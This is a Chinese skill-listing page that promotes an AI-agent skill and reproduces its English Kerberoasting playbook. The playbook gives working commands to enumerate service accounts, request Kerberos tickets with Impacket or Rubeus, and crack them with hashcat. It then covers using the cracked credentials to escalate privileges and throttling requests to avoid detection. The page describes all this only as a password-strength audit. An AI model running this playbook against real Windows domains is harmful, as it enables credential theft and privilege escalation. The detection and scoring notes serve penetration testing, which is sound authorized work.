kerberoasting
它能做什么
这项技能介绍一种常见的 Active Directory 密码强度检查,针对服务账户。适合获得授权、需要审计 Windows 域的安全测试人员。
适用场景
- ✓当安全测试人员询问已获授权的域中,哪些服务账户可能使用了弱密码时。
- ✓当智能体需要列出与服务名称关联的服务账户并检查其设置时。
- ✓当报告需要说明弱服务账户密码的风险以及如何加固时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我在已获授权的测试域中找出服务账户,并检查它们的密码是否看起来很弱?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体找出带有服务名称的账户,用测试账户请求它们的票据数据,然后在离线状态下检查密码强度。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Kerberoasting Playbook
Prerequisite
Any valid domain user. No special privileges required.
1. Identify roastable accounts
In a hosted engagement, inspect the authorized collection through
bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a
bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not
expose the SPN property. Confirm collection coverage first. In standalone OSS,
use the registered bhce_cypher tool against that instance.
Or LDAP-direct:
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
sAMAccountName servicePrincipalName > /tmp/spns.txt
2. Request TGS tickets
Impacket (most reliable):
GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-outputfile /tmp/kerb.hashes
Rubeus (from Windows beachhead):
Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap
Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If
forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….
3. Crack offline
# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt
# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
--rules-file /usr/share/hashcat/rules/d3ad0ne.rule
Service-account heuristics: 60-70% of kerberoasted accounts use:
- ServiceName + season + year (e.g.
SQLSvc2024!,IISWinter25) - App name + 4-digit numbers
- Default install passwords (Veeam, SCCM, Splunk admins)
- Custom dict from OSINT (company name, products, projects)
4. Promote cracked credential
kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")
5. Post-crack actions
Whatever the service account can reach is now yours:
- Run BloodHound as the new cred → re-ingest
- Often these accounts have AdminTo on the box hosting the service
- Sometimes they're members of Tier-0 groups (yes, really)
OPSEC notes
- Requesting TGS tickets is logged to 4769 events on the DC
- Detection: 4769 with
Ticket Encryption Type=0x17(RC4) when the service supports AES is anomalous - Rate limiting: don't request all SPNs at once on a monitored network; Impacket has no built-in throttle, write a wrapper
- Use
-no-preauthto avoid lockout if doing manual TGS via kinit
CVSS
- Roastable + crackable in scope timeframe:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H= 9.0 - Roastable but uncrackable (long random pw): Informational
- AES-only + no offline crack feasible: Low
Common services found
| SPN prefix | Likely account | Typical impact |
|---|---|---|
MSSQLSvc/ |
SQL service account | Often local admin on DB host |
HTTP/sccm* |
SCCM service | Often Domain Admin (misconfig) |
MSOLAPSvc.3/ |
SSAS | Local admin on analysis server |
kadmin/changepw |
KDC account | RARE — high value if hit |
exchangeMDB/ |
Exchange recovery | Sometimes priv group |
常见问题
什么是服务账户?
服务账户是用来运行数据库、网站应用等服务的账户,在 Windows 网络中很常见。
该技能是否说明如何修复弱密码?
它建议使用更强的密码并采用现代加密方式,具体如何实施由账户所有者决定。
任何用户都能进行这项检查吗?
该技能指出,任何有效的域用户都可以运行这项检查,因此它对审计很重要。
详情
作者的原始描述
Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.
热度
- GitHub 星标
- 6.5k
- 排名
- #13942
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …